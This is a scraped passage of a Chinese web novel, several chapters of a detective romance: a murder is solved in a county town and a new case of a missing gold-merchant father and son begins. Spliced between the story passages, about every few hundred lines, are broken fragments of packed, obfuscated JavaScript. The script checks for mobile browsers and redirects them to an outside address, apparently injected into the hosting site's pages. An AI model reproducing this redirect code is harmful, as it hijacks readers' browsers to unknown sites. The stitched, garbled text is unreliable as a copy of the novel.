l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837565|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸩儿看病。 想不到大哥还真是个多情种子,善解人意。 “要说你大哥也是一个好人,和鸩儿也是登对。唉,只是可惜呀,两个人有缘无份。”李斌继续八卦的说着。 苗景岚顺着他的话说:“听你这意思,你对鸩儿……” “嘿嘿嘿,苗姑娘误会了。我虽和她们是邻居,也顶多是点头之交而已。倒是那王婆,生性浪荡,水性扬花,喜欢跟县里面的年轻男子不清不楚。” 苗景岚睁大眼睛,听着这位看似斯文的教书先生嘴里面吐出来的虎狼之词。 没想到这个李斌除了教书之外,还这样喜欢聊八卦。 “起初只是一两个,后来一个月就要换一个。这女人都是做婆婆的人了,还是这样的不检点。明明在外面招蜂引蝶,偏偏还要来招惹我。为了来勾搭我,三天两头的给我送来好酒好菜,哄我做他的粉头。我知道她有钱,平常想她接济一二,她嘴上说得好听,不急着要我还,没想到私下里全记在帐上。” “我原本是想借二两银子回老家省亲,等有钱再还给她。没想到她一点儿情面也不讲,明明是二两银子的帐,偏偏要算我五两银子。我全身上下也凑不出这么多银两,那女人居然盯上了我这祖屋。还说把这宅子拆了,和她家的宅子并成一间店铺,以后专门做成衣生意。” “还出言讽刺我,以后别再教书了,直接搬过来做她的粉头,以后直接供给我好吃好喝。我呸,一个糟老婆子而已,我是囊中羞涩、偶尔寂寞才会想和她春风一度,她倒是登鼻子上眼,也不看看自己什么货色。” 苗景岚听到这里,不由的身体一僵,感觉自己听到了什么可怕的东西。 李斌转过脸来,还是那张斯文又白净的脸,此刻却像是裹上一层阴暗之色,整个人都变得面目可憎起来。 “所以,是你……杀了王婆?”苗景岚站起身来,脚却不自觉的踉跄一下。 “对,是**的。”李斌一脸阴笑,“你知道也晚了,就留下来陪她吧。” …… 第29章 米酒(11) 苗景岚想要反抗,但是李斌刚刚给他喝的那杯茶里面放了**,让她此刻昏昏欲睡。 李斌见状,想要趁机对苗景岚下手。 反正都是要死的人,与其这样白白死去,不如先快活一番。 可是没想到,贾仁突然闯进来,打断李斌的行动。 “好你个大胆狂徒,居然光天化日行凶,吃我一拳!” 话音未落,贾仁的拳头硬生生的朝李斌挥过来。 可是,李斌居然灵巧的躲过去。 而且还借着刚才的力道,李斌一把手反抓住贾仁的拳头。 使劲一拧。 “哎哟!”我们身娇肉贵的贾公子哪里受过这样的罪。 被人抓住手腕狠狠一拧,力道就被卸下来,反过来自己的手腕还受伤。 同样都是不擅长武力的书生公子,李斌长在市井之间,在没当教书先生也干过田间的农活,自然比长在富贵家庭的贾仁力气要大得多。 狠毒的李斌一脚踹开贾仁,从桌子底下抽出一把尖刀,对贾仁说:“既然你想英雄救美,就陪她一块**吧!” 说是迟,那是快。 就在那把尖刀快要刺进贾仁的胸膛时,贾仁看向李斌的身后,脸上的表情一松:“你终于来了!” 李斌以为贾仁在诳骗自己,冷哼一声:“少废话,今天你们必须死在这里!没有人会来救……” 他的话还没有说完,身后有一人就用茶壶从他的头顶狠狠砸过来。 顿时,李斌的脑袋上茶水、血水混成一团,分外的好看。 然后,李斌就倒地不起。 贾仁看到醒过来的苗景岚,语气里面有一丝抱怨:“我就知道你没有晕过去,偏偏要等我受伤之后才出手。” 苗景岚没有察觉出来贾仁是在向自己撒娇,“谁要你自不量力,明明知道自己敌不过别人,还要硬着头皮上!” “我这不是为了救你吗?”贾仁的声音里面带着几分委屈。 接下来的事情就好办了,苗景岚叫来了刑捕头,带走了李斌。 并且还从李斌的房间里面搜到几张银票,还有王婆家里的一些首饰。 看样子这个李斌不但好色,还十分贪财。 在重重的证据面前,容不得李斌抵赖。 最后,李斌主动交待自己常年和王婆苟且,因为王婆水性扬花的性子让他心生怨恨。 同时,李斌向王婆借银两,却被逼借了**。 这些加在一起,让李斌对王婆怀恨在心,起了杀念。 那天,李斌偷听到鸩儿要夜会情郎,便趁王婆不在潜入房间,找到帐簿想要撕毁自己的那一页。 没想到被中途返回来的王婆发现,两个人争吵扭打起来。 最后,李斌失手杀死王婆,并且把人丢到浆洗池里。 这就是整个案件的经过。 在李斌签字画押之后,鸩儿和苗景明也被侯县令释放。 这一对苦命鸳鸯终于可以脱离苦海,但是等待他们的日子并不轻松。 黎县是一个古代的小县城,那里的百姓多半还是处于愚昧无知的境地。 对鸩儿和苗景明这种私自交往并且私定终身的行为很是不理解,并且视为大逆不道的无耻行为。 他们两个人一从县衙走出来,就有不少人朝他们吐口水和丢烂菜叶子。 要不是苗景岚拦着,只怕一些胆大的人还要冲上前来揍他们。 这一路上,鸩儿和苗景明都低低的垂下头,仿佛自己真做错什么事。 苗景岚把他们带到明岚酒坊。 酒坊还在歇业中,苗景岚做了一桌子好菜,打算给这两人好好接接风,去去晦气。 没想到贾仁这个厚脸皮也坐在这里,手腕上还缠着布带,被两块竹片固定着,整个人一幅老神在在的模样。 “我说今天是我家人聚餐,你偏偏坐在这里做什么?”苗景岚不悦的看向贾仁。 贾仁抬抬手,一幅理所当然的口吻,“我可是因为你才受的伤。” “因为我?我当时叫你来救我了吗?” “我这不是怕你吃亏吗?” “我能吃亏?你不出现,我才不会吃亏呢。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837566|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是你的救命恩人。”你怎么能如此待我? 苗景岚冷笑一声,“你救我?真是一个笑话!” …… 苗景明见他们两人吵起来,不由做起和事佬:“你们两个不要吵了,贾公子是店里的客人,又几次帮过我们。阿岚,你就不要计较了,让贾公子随我们一块吃饭吧。” 见大哥这样说,苗景岚也不再吭声。 贾仁不由得意一笑,故意朝苗景岚扬一扬受伤的手,有一种得意的猖狂。 苗景岚白了对方一眼,心说,真是一个大龄弱智儿童。 贾仁不知道苗景岚心中所想,拿起筷子吃得欢快。 “大哥,你和鸩儿姑娘什么时候完婚?” 鸩儿小脸儿一红,满脸的羞涩。 苗景岚看了鸩儿一眼,想起从县衙回到家中,这一路上乡亲们的白眼和唾弃,不由悠悠的叹一口气。 “这事先不急吧。如今鸩儿的婆婆刚死,丧事还没有办,等事情先办完,再想其他。”苗景明沉闷的喝上一口酒,心中郁闷无比。 鸩儿沉默片刻,小声的说:“我想先跟婆婆守灵,等三年丧期已过,再做其他的打算。” 苗景岚一听,不由炸毛:“我说你们两个,还真的要为一个**葬送自己的一生?那王婆已死,没有谁再阻碍你们的婚事,你们既然情投意合,又为什么要把婚事一拖再拖?” “难道你没听见这一路上乡亲们的风言风语吗?人言可畏呀。”苗景明想起那些长舌妇的毒舌就觉得心寒。 “我是一个不祥之人,不想拖累景明哥。”鸩儿不由抽泣起来。 苗景明安慰鸩儿,“这不赖你,也怪我当年太软弱,没有早一些向你家里提亲,才让你落得如此田地。” “我说你们两个,都是这样有情有意。为什么就没有想过把酒坊开到别处去,然后重新来过?”一直在喝酒吃肉的贾仁,听他们说了半天的话,突然开始发表自己的想法。 众人一听,不由一愣,觉得贾公子的想法太过另类。 可是,苗景岚却觉得贾仁的想法很合乎实际…… 第30章 汾酒(1) 苗景明一听这话,觉得有些尴尬:“贾公子说笑了,这酒坊是我家祖传生意,我和妹妹拼尽全力才好不容易维持着。若是到外地,人生地不熟,一切又要从头做起,谈何容易?” “难道为了心中所爱,苗老板做点儿牺牲都不肯吗?”贾仁在眼中对苗景明流露出一丝鄙视。 “如果换作是我,就算是前途未卜,也要带着心爱之人硬闯出一条血路来,这才不为顶天立地的男子。我看苗老板也是一个不错的人,与其被这些无知百姓指指点点,不如跟这些**闹一场,看看谁还敢对苗老板指手画脚?嘴上说着不想让鸩儿难过,实际上什么也没做,苗老板你应该不会这样懦弱?” 苗景岚不知道贾仁为什么要这样唆使苗景明,但他刚刚所说的话恰恰代表自己的心声。 以前一直认为他是一个游手好闲的纨绔,没想到某些思想居然与自己同频。 苗景岚的心里面不由有些蠢蠢欲动。 难道他也跟自己一样,也是一个穿越者? “你不要逼景明哥了,我和他都不想离开黎县。我们从小在这里长大,离开这里日子过不习惯。就算被乡亲们指指点点又如何,我确实是一个寡妇,又确实跟景明哥不清不楚,是我们有错在先。现在婆婆又**,他们自然有话说。这小地方的人就是这样,喜欢嚼舌根,时间长了,把事情淡忘了,也就没什么好说的了。” “我先给婆婆守孝三年,若是景明哥愿意等我,三年后我们便成亲。若是不肯,我也没有什么好埋怨。”鸩儿擦擦泪,小声的说着。 苗景明喜出望外,“我愿意等,我愿意等。鸩儿,就是等你一辈子我也愿意。” 苗景岚看着这两个人无语。 明明两个人情投意合,偏偏要为一些莫名其妙的事情而影响自己,这恐怕就是自己和古代人的不同吧。 既然他们都已经做了决定,苗景岚也没有再参与。 都是成年人,自己的人生自己决定。 鸩儿回去之后,开始操办起婆婆的丧事。 而明岚酒坊则重新开业,虽然因为上个案子的关系,生意有些清淡,但总算重新回到原先生活的轨道上。 苗景明天天不吭不哈,埋头酿酒。 苗景岚则时不时的到店里帮忙,并且向哥哥学习酿酒的技巧。 只是那个讨厌鬼贾公子似乎想讹上苗家,天天跑到明岚酒坊骗吃骗喝。 苗景岚骂过他好几句,他却像一条赖皮狗一样赖着不走。 每回说他,总是一句,“你就是这样对待恩公的?” 气得苗景岚分分钟想暴走,挥起拳头就想把家伙狠狠揍一顿。 苗景明却总是做起和事佬,同为男人,他或许看得出来贾公子对妹妹的一番心意。 只是妹妹年纪尚小,偏偏摔坏脑子之后生出一幅男儿的脾气,若不是有那个心思,他一个京城来的富贵公子,何必要厚着脸皮跑到这小小酒坊里赖上苗景岚。 或许过些年,两个人才会生出一些情分来。 “终归是多一双筷子而已,阿岚呀,你就不要跟贾公子过不去了。” 只有小伙计二黑专心看着八卦,觉得他跟的两个东家都是了不起的人物。 每一个都很有故事呢。 这一天,日上三竿。 不出意外的,贾仁又跑到明岚酒坊蹭饭吃。 苗景岚依旧没看贾仁好脸色,“饭桶公子,你又来了?” 贾仁脸上没有任何的尴尬,反而四仰八叉的坐下来,一幅‘我是大爷,你能奈我何’的样子。 还对着苗景岚说了一句这样的话,“唉,你是没在京城呀。若是你在京城敢这样跟我说话,估计已经被官差带走准备午门问斩了。” 苗景岚当然也不是吃素的,直接开怼:“哟,您来头这么大呀?那你可千万别来我这小酒坊,免得这庙门太小供不起你这尊大菩萨。” “苗姑娘,要知道我的手可是因为你才受的伤。这么多天,连饭都吃不好,你难道良心就没有一点愧疚吗?”贾仁突然换过一幅可怜兮兮的语气。 “呵呵,不好意思,没有。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837567|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你真是铁石心肠。你看看,因为手受伤,我连面条都吃不好。”贾仁故意哆嗦着手去用筷子夹面条。 “你这是帕金森,还是老年痴呆?”苗景岚忽然想起现代常用的一个梗。 贾仁却一脸愕然,“什么是帕金森和老年痴呆?” 一听这话,苗景岚不由有些失望。 之前听他对苗景明和鸩儿讲的话,颇有点儿现代人的想法。 本想试探一下他是不是也是一个穿越者,可结果不是。 “没什么。你的把戏已经被我看穿了,我明明昨天看到你受伤的还是右手,怎么今天就变成左手?难不成你这伤口还会转移?”苗景岚打趣对方。 “唉,苗姑娘,你记错了。”贾大公子继续没脸没皮。 “就算你那只手受伤了,换另一只手吃饭不正好吗?” “我是左撇子。” “哼,难不成你还想要我喂你不成?” “若是这样,贾某一定感激姑娘的大恩大德。” 苗景岚终于忍不住了,这泼皮无赖简直无耻透底。 只见她朝对方冷笑一声,隔着一两米远都能感觉得到苗景岚身上的阵阵寒气。 “呵呵,好好,你要我喂你吃是吧?不如我把你的另一只手也弄折了,让你左右开弓,一块儿到大夫那里换竹片,如何?” 贾仁下意识的感觉到苗景岚的语气不善,再感觉一下她周身散发出来的寒气,觉得自己惹**了这只小野猫。 他本能的站起身来,觉得今天的玩笑开大了。 咧开嘴来,也朝苗景岚笑一声,“嘿嘿嘿,苗姑娘,我看你们这里今天的伙食不怎么样,就不到这里吃饭了。其实我今天来,是想请你来吃饭?” “哦,原来贾公子除了骗吃骗喝之外,也会请别人吃饭。” “瞧你这话说的,我刚来的时候不是经常请客吗?其实不光是吃饭,是我有一位朋友很想见见你。” “什么?你的朋友想见我?” 苗景岚觉得这里面有猫腻…… 第31章 汾酒(2) 你的朋友? 你这家伙在黎县还有朋友? “你的朋友,我没兴趣认识。”苗景岚说完,转身用抹布擦起桌子。 一幅要赶人的样子。 “别介呀,我这朋友可非常想认识你。她说‘想不到在这小小的黎县,还会有这样的奇女子。’很想与你结交呢。” “贾公子,我对你没兴趣,对你的朋友更没兴趣。你要是不喝酒的话,就请回吧。”苗景岚直接下起逐客令。 贾仁抬起受伤的胳膊,依旧不死心。 “二黑,送客。” 小伙计二黑听到二东家的吩咐,果然拿起扫把开始赶人。 等贾仁走远,苗景明才从里面走出来,“小妹,我看人家贾公子不错,你真要做得这么绝吗?” “大哥,你说什么呀?” 明明是这家伙老是找上门来骗吃骗喝,还赖上自己一起探案子,怎么变成自己做事做得绝。 苗景明看着还没回过神的妹妹,从心底叹口气,“现在能找一个真心对待别人的。贾公子家境富裕,之前曾经花十几两银子买下你酿的米酒,如今人家只是因为受伤才来这里吃几顿饭,哪来骗吃骗喝一说。你呀,什么时候才能看明白。” “大哥,我的事情你就不用管了,还是去看看鸩儿吧。” 你自己的事情都没有拎清楚呢,就不要哪壶不开提哪壶吧。 苗景明摇摇头,走开了。 到了下午,苗景岚独自来到河边。 她好像没有练拳了,想找一个无人的地方练一练。 她先是把跆拳道的几个基本动作每个练了五十遍,之后又把以前学过的一套太极拳练过一遍。 之后,她出了一身细汗,却觉得整个人通畅许多。 在前世,她几乎隔三差五就要去练一练。 可自从穿越到这个世界之后,她每天忙着案子,很少有时间专心练拳。 练完拳之后,苗景岚正打算回家。 没想到半路上突然出现一辆马车,马车在苗景岚的身边停下来。 车窗上的帘子被人掀起,一位富家小姐笑意吟吟的问道:“请问是明岚酒坊的苗姑娘吗?” 苗景岚的脚步一顿,转过头看向那女子,“你认得我?” “黎县连破三个案子的酿酒师,试问黎县谁能不晓?” 那女人梳着新式的发髻,头上插着珠钗,桃花般的容颜配上甜美的笑容。 好一个与黎县完全不同的美娇娘。 “你找我有什么事情?”苗景岚不喜欢陌生人打探自己。 “我从远道而来,想请姑娘喝杯水酒。” 苗景岚想也不想的就拒绝,“不必。我家世代酿酒,要喝酒天天都能喝,不需要你请。” 说完,她头也不回的就要走。 “等等,姑娘。我知道你有大本领,想请你帮一个忙,只要姑娘答应,小女子愿意给予重谢。我知道姑娘一心想帮家里壮大酒坊,我这里有好几坛从京城酒楼带来的佳酿,姑娘可以请自品尝一下。只要姑娘答应帮我办事,我可以为姑娘弄到这些佳酿的秘方。” 苗景岚用狐疑的目光打量对方,那女子不过十七、八岁的年龄,却有一种超越同龄女子的睿智与成熟。 看得出来,是大户人家里面调教出来的。 只是苗景岚好奇,这样一个出身的女子怎么会到这小县城里来找自己帮忙? “看来你把我打探得很清楚?事先说好,我先听一听,如果帮不了忙,你以后也不要再来找我。” “可以。”那女子点点头,倒不像那个赖上自己的某人。 “苗姑娘,请上车。” 对方招呼一声,苗景岚便迈腿走上马车。 这马车比寻常的马车要更宽敞一些,马车里面像是一个小房间,摆放着茶案、香熏、围棋,角落里还铺着一张小床,摆放着一盒点心。 这样的马车,恐怕在京城也是少有吧。 苗景岚不由在心里面有些发酸,这城里的人生活就是奢侈呀。 刚才在下面还没有仔细看清,坐上马车之后看到那名女子穿着浅蓝色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837568|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的用昂贵料子做的裙袍,裙摆上还镶嵌着一颗颗龙眼大小的珍珠,腰间还用红宝石镶金线做成的腰带。 身上还散发着淡淡的清香,那是胭脂铺里最贵的脂粉,连天香园里的花魁也用不起。 她浑身散发着富得流油的气息,可当你看到她那一张带着几分天真烂漫的脸时,却觉得一切理所当然。 这个女人究竟是谁? 看她脸生,应该不是本地人。 最最重要的是,她来到这穷乡僻壤的黎县找上自己是为什么? 带着一肚子的疑问,苗景岚走上马车,并且在那名女子的对面坐下。 “苗姑娘,我叫元心兰,来自汾城。” “汾城元家?那个前朝发现金矿的元家?” “正是。苗姑娘还真是见多识广。” “呵呵,不是我见多识广,只是汾城元家有几个不知道的?你们家祖上发现金矿,上表朝廷,得先帝嘉奖,让你们做黄金生意。如今京城上供的黄金,有一半出自你们元家,想要不知道都难。”苗景岚酸溜溜的回答。 “我们家是受祖宗庇护,但如今黄金生意是越来越难做。我们早就被挤出京城,如今只在汾城经营一二。” “那你们也算是汾城数一数二的大户,只是不知道身在汾城的元姑娘如何会知道我,又怎么会跑来叫我帮忙?在下不过是一介酿酒师,技艺也不算精湛,元姑娘如何会找上我?”苗景岚觉得这里面有很多的秘密,正因为如此,她才决定坐上这名女子的马车。 “前一阵子,小女家中突然发生变故,家里又举目无亲,万般无奈之下,想起寻找小女幼年时在京城的好友,想请他来帮忙。可是,他却向我说起你的事情,小女心中好奇,天下居然有如此的奇女子,想来黎县见识见识,所以这才冒昧登门。” “我算什么奇女子?元姑娘,你可不要挖苦我。” “你不是官差,却连破三桩奇案,这都不算奇女子谁算?”元心兰脱口而出。 苗景岚不由心中好奇,这个强烈推荐自己的家伙究竟是谁? 第32章 汾酒(3) 吉祥酒楼,黎县最好的酒楼。 平常这家酒楼是人来人往,虽然这里的一壶酒至少要二两银子,一个小菜至少要五钱银子,但黎县的有钱人还是喜欢往这里来送钱。 可是,今天已经到了中午,吉祥酒楼却没有一个客人。 看到元心兰走进来,店小二殷勤的凑上前:“苗姑娘,你来了。楼上的包厢已经准备好,就等您上菜了!” “好。”元心兰应了一声,带着苗景岚就往楼上走,“苗姑娘,请往楼上走。” 来到二楼的包厢,就听到一个熟悉的声音:“兰儿,你真的把她请来了?哈哈哈哈哈……是谁说不跟我来的?” 贾仁那个讨厌鬼,居然出现在这里。 苗景岚瞬间明白过来,“你说的向你推荐我的人就是他吗?” “正是。” “呵呵,贾公子,你还真是会跟我找活儿呀。” 贾仁一脸的痞癞相,“谁叫你神通广大,留在这小小的黎县岂不是可惜?” “苗姑娘,请上座。”兰心元客气的把苗景岚拉到座位上。 “伙计,上菜。” 应该说汾城元家果然是出手阔绰,不仅包下吉祥酒楼一天的场子,还把最后的菜都端上来。 看着一桌子珍馐美食,苗景岚却心有所思。 “元姑娘,你大老远的从汾城跑过来,可是家中遇到什么事情?”苗景岚开门见山的问道。 作为汾城首富家的掌上明珠,如果不是家里面出了了不起的大事,家里人是舍不得让一个待字闺中的女儿跑出来找人帮忙的。 “苗姑娘果然心细如尘,我家里确实是发生大事。事情还要从三个月起讲起,我元家虽经营黄金生意,但人丁单薄,到我这一辈,除了我和我大哥、二哥之外,再也没有其他的孩子。” “我大哥年长,六年前因为意外失足跌下悬崖,我父亲因此病重,家里的生意都交由二哥打理。可三个月前,我二哥去外地经商,却一个多月没有消息。我父亲派人四处打听,也一无所获。一个月前,突然收到一封来信,说有我二哥的消息。” “我父亲思子心切,第二天就带着管家前去,结果到现在也没有消息。我也四处派人打听,甚至到衙门报案,却一无所获。万般无奈之下,想起我曾在京城结识的小王……” “咳咳咳……”话说到这里,贾仁突然咳嗽两声,打断元心兰的话。 元心兰接着说:“哦,是我京城小时候的玩伴……贾公子。可是,到了京城,他们说贾公子正四处云游,如今已到黎县。我便一路来到黎县,总算见到他。贾公子跟我提起你,讲起你的事情,他说‘像这种衙门都解决不了的疑案,只有你能帮忙’,我这才一路找上姑娘,希望你能够帮我。如果找到我父亲和二哥,小女定当报答姑娘。” “你是说,你二哥和你父亲都突然失踪?”苗景岚听完元心兰的描述,整理出事情的关键。 “正是。” “这事有点儿蹊跷,先是你二哥失踪,紧接着你父亲又在收到一封信之后也失踪。那封信在哪里?你带来了吗?” 元心兰摇摇头,“那信被我父亲带在身上,我连看都没有看一眼。” 苗景岚眼中闪过一丝失望,“如果说**你二哥和你父亲的是同一人,那么这一封信可能是关键。偏偏那封信也被带走,事情有些棘手啊。” “你是说,我父亲和我二哥是被人绑了去?”元心兰的声音中带着惊恐。 “这只是我的猜测。他们先带走你的二哥,然后给你父亲写了一封信,想让你的父亲交赎金或是其他的什么要求,你的父亲果真去了。他们把你的父亲和二哥一起绑走,元姑娘,如果不是你出门来找贾仁,恐怕你也会遭毒手。” 听苗景岚这样一说,元姑娘的脸色顿时一变,感觉有些后怕:“你是说……他们也想向我下手。” “元姑娘,这件事情恐怕没有表面上看起来那样简单。你们元家是汾城的大户人家,又世代经营黄金生意,肯定家里面的保镖众多。你二可出门经商,肯定也会带着贴心的保镖一块去,可是,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837569|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可曾听过他们带回什么消息?” 元心兰努力回想起来:“我二哥出门经商,是喜欢带几个放心的下人一块去。至于我父亲,他喜欢带着我们家里的管家,而管家福伯听说当年就是镖局押镖的。” “是呀。既然他们能悄无声息的连你们身边的人都干掉,可见是经过精密的策划和行动,恐怕预谋许久。” 小姑娘不经吓,听苗景岚这样一说,脸色更是变得惨白惨白的。 “那可怎么办?我父亲和二哥是不是再也回不来了?”元心兰几乎要吓得哭起来。 “元姑娘现在倒也不必紧张,一般这种情况,大多凶手出于两种情况:一是为了图财,二是为了报仇。如果是前者的话,他们迟早还会找上你,想从你这里捞取更多的钱财。怕就怕是后面一种情况,你父亲和二哥可曾在外面与人结怨?” 元心兰努力回想一下,“我父亲和二哥从来不向我提及生意上的事情,也未曾跟我讲过家里跟谁结过怨。我们身边的人都对我们挺好的,从未听过谁和我们家有过什么恩怨。” 苗景岚明白过来,原来这就是一个长在大户人家的公主呀。 一辈子生活在温室里的娇贵花草也不一定好,遇到什么可怕的事情恐怕就是灭顶之灾。 “元姑娘先不急,你家的这个案子恐怕没有那么简单,还需要我到汾城仔细调查一番,才能够得出结论。对了,你知道你二哥是去哪里经商吗?” “好像……好像是一个叫做杨家坡的地方。” 杨家坡? 这个地点,苗景岚也略有耳闻。 之前在酒坊听一些酒客天南地北的胡诌,无意中就提起过这个杨家坡。 听说那是一个非常邪门的地方,天南地北的**都喜欢往那里凑。 最早是朝廷关押叛军的地方,后来听说那个叛军头目和上千叛军被处决之后,那里就成了一个阴森森的鬼门关。 一般只有朝廷的通缉犯和一些十恶不赦之人才敢去那里,元心兰的二哥怎么想到去那里? 第33章 汾酒(4) 说到这里,苗景岚扭头看了旁边坐着的贾仁一眼。 苗景岚一个穿越者对“杨家坡”都有了解,作为一个游手好闲又喜欢多管闲事的纨绔,恐怕对于杨家坡知道的更多。 “贾公子,不知道你对‘杨家坡’知道多少?” 没想到贾仁意外的冷着一张脸,“不知道,我什么也不知道。” 苗景岚有些惊讶,这家伙一向都不是喜欢谈天说地,就没有**的吗? 怎么这次提起‘杨家坡’,倒是一反常态。 “那你可知道,杨家坡离黎县有多远?”苗景岚又问道。 可是,贾仁却像是丢了魂一样,眼神黯淡无光。 似乎提到‘杨家坡’,把他的魂给弄没了。 “这个我知道。”元姑娘对苗景岚说,“我在京城曾经听人说起过,当年叛王离京上百里被处决,半路上经过‘杨家坡’,所有人都在‘杨家坡’被砍了头。那里离黎县应该也有上百里,但如果我们走水路的话,应该会快一点。苗姑娘,你是想去‘杨家坡’吗?” “你二哥是在杨家坡失去音信的,自然是要到那里去打探一下。” “可是,你刚才不是说要去我家吗?”元心兰胆子小,听说要去人人谈之色变的‘杨家坡’,还是有些害怕的。 “要想查清楚这个案子,肯定是要去你家一趟的。但是,在去之前,我想到你二哥失踪的地方,看一看那里有没有线索。” 又遇到一个新案子,苗景岚感觉又遇到新的挑战。 她浑身像是打过机油一般,全身的细胞和血管处于亢奋阶段。 以前她就是这样,每当遇上一个棘手的案子,别人本能的是退缩,她却是越战越勇。 以至于在上一世同事们管她叫“办案狂人”。 听说要去杨家坡,金枝玉叶的元心兰有些担心,但一想到同为女子的苗景岚都不害怕,自己这个请求别人帮忙的雇主**缩,有些说不过去。 同时,她又为苗景岚的思路清晰和勇敢而暗自佩服。 明明是年龄相仿的女孩子,苗景岚总能看出她看不到的东西,还敢勇敢的去找寻线索,难怪连贾仁那个家伙也很欣赏她。 “贾公子,你可愿意前往?” “我自然是要去的。” “好。那我们明天就启程。” “明天?”贾仁以为自己没有听清,揉一揉耳朵,“这么快吗?” 苗景岚是个做事雷厉风行的人,决定好的事情就马上行动,不喜欢拖泥带水。 况且元姑娘的二哥是三个月前在杨家坡失踪的,越晚过去,所能得到的线索就越有限。 必须越快行动,再有可能获得有价值的线索。 “怎么,你想打退堂鼓?”苗景岚将了贾仁一军。 “怎么可能?我是担心你大哥不让你一个人出门。” “所以,就要请你帮忙呀。”苗景岚朝贾仁诡异的一笑。 贾仁看见,心里一顿。 她刚刚是在对我笑吗? 这好像是认识她之后第一次对我笑,怎么觉得好像里面藏着什么阴谋…… 翌日清晨。 苗景岚背上一个包袱,在明岚酒坊向大哥道别。 苗景明还依依不舍的向妹妹叮嘱:“小妹,你此次前去汾城,记得好好向那酿酒的师傅请教。人家愿意把方子传给你,你便在那里好好学上一阵子;如果人家不愿意,也不要强求,毕竟这也是人家的生计。” “大哥,放心好了,我会见机行事的。” “我如何能放心?你一个姑娘,头一回出远门,又是去拜师学艺……算了,景岚,还是让大哥去好了!”苗景明一幅老父亲的表情。 “大哥,我跟人家汾城的元姑娘都说好了,人家是汾城的首富,家里不缺钱,只想把这汾城的佳酿传于世间。这样难得的机会,你为何不让我去?况且,元姑娘跟贾公子关系甚好。而且,贾公子跟我一块去。你不放心我,还不放心那个贾公子吗?” 说到这里,苗景岚还扭头朝马车旁站着的贾仁和元心兰问了一句:“是吧,贾公子,元姑娘?” 贾仁连连点头,“是是是,苗老板,元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837570|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘和我家是世交,我亲自带她们过去,不会有事的。” 元心兰的头也点得像是鸡啄米,“对对对,我家就在汾城,苗姑娘去了就住在我家里,我会好好照顾她,不会有事的。” 两个这样说,才打消一些苗景明的顾虑。 “小妹呀,你突然说要出门拜师学艺,大哥也没来得及跟你准备什么,这些银子你就带在身边吧。记得在外面好好照顾自己。” 苗景明从身上掏出几两散碎的银子,想要塞进苗景岚的手中。 可是,苗景岚却没有接。 “大哥,此去汾城,元家包吃包住,不需要我花钱。这钱,你还是留着将来娶媳妇吧,毕竟鸩儿等了你这么多年。” 苗景明一听,感动得几乎要流下两行热泪来。 三个人坐上马车,终于出发。 贾仁用不怀好意的目光打量苗景岚一眼,“呵呵,难怪你昨天说要我来帮忙,原来是想要我来骗你大哥呀。你怎么想到拜师学艺这个借口的?” “别用骗这个词,我只是不想让我大哥担心。再说了,你贾大公子不是经常骗人的吗?骗骗我大哥更是不在话下,这可是你的老本行呀。” “你这是过河拆桥呀。我什么时候骗过你?” “呵呵,你骗我的事情还少吗?” 